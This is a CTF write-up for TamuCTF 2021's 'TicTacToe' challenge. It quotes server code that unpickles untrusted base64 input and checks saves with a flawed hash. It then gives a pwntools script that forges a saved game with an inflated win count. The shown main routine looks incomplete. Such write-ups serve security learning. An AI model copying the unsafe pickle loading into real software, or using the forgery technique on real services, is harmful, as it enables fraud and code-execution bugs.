Rating: 1.0

# TicTacToe

## Description:
Hey, I made a tic tac toe game! If you can beat me enough times I’ll give you a flag.

[tictactoe](tictactoe.py) *openssl s_client -connect tamuctf.com:443 -servername tictactoe -quiet*

## Difficulty/Points:

## FLAG:
## Solution
Having the [source code](tictactoe.py), after a first reading, it was easy to identify the problem.

The part we have focused on are essentially two:
1. `Save progress`: *thanks to which, after winning a game, you can "save"*;
elif selection == "3":
data = {"wins": wins, "security": get_hash(wins)}
print(f"Here you go! Come back and try again! \"{base64.b64encode(pickle.dumps(data)).decode()}\"")
2. `Load progress`: *thanks to which you can "load" a progress starting from the result obtained from the "save"*.
elif selection == "4":
save = input("What was the code I gave you last time? ")
data = pickle.loads(base64.b64decode(save))
if get_hash(data['wins']) != data['security']:
print("Hey, the secret code I left isn't correct. You aren't trying to cheat are you :/")
wins = data['wins']
print(f"Okay, that all checks out! I'll mark you down as {wins} wins")
But what is the information that can be found from these two pieces of code?
- how the *"data"* parameter is constructed which is what is encoded and returned as the value of the "save" operation.
data = {"wins": wins, "security": get_hash(wins)}
In particular, note how the content of the *"security"* field is generated using the *get_hash* method.
def get_hash(w):
m = sha256()
m.update((str(wins) + flag).encode())
return base64.b64encode(m.digest()).decode()
It is particular because the parameter that the method receives is not used to generate the hash which will depend only on the value of the *"wins"* variable and the value of the *flag*;
- how what is "loaded" is evaluated.
if get_hash(data['wins']) != data['security']
At this point we knew what to do because, after winning a game and generating the hash, it was enough to reconstruct the *"data"* parameter by imposing that the *"wins"* field was the number to be reached and the *"security"* field was the one generated after "saving", "loading" a progress with the result obtained and finally claiming the reward.

To do this, the following python script has been implemented:
from pwn import *
from base64 import *
from pickle import *

p = process("openssl s_client -connect tamuctf.com:443 -servername tictactoe -quiet", shell=True)

def play_game():
p.sendlineafter("> ", "1")
movs = ["0 0", "1 0", "2 0"]
for m in movs:
p.sendlineafter("> ", m)

def save_progress():
p.sendlineafter("> ", "3")
enc_data = p.recvline().strip().decode().split()[8]
return enc_data

def rebuild_data(enc_data):
data = loads(b64decode(enc_data))
new_data = {"wins": 133713371337, "security": data["security"]}
return base64.b64encode(pickle.dumps(new_data)).decode()

def load_progress(data):
p.sendlineafter("> ", "4")
p.sendlineafter("? ", data)

def print_flag():
p.sendlineafter("> ", "2")

if __name__ == "__main__":
enc = save_progress()
data = rebuild_data(enc)

Original writeup (https://github.com/hackalcubo/CTF-Writeups/tree/main/TamuCTF-2021/TicTacToe).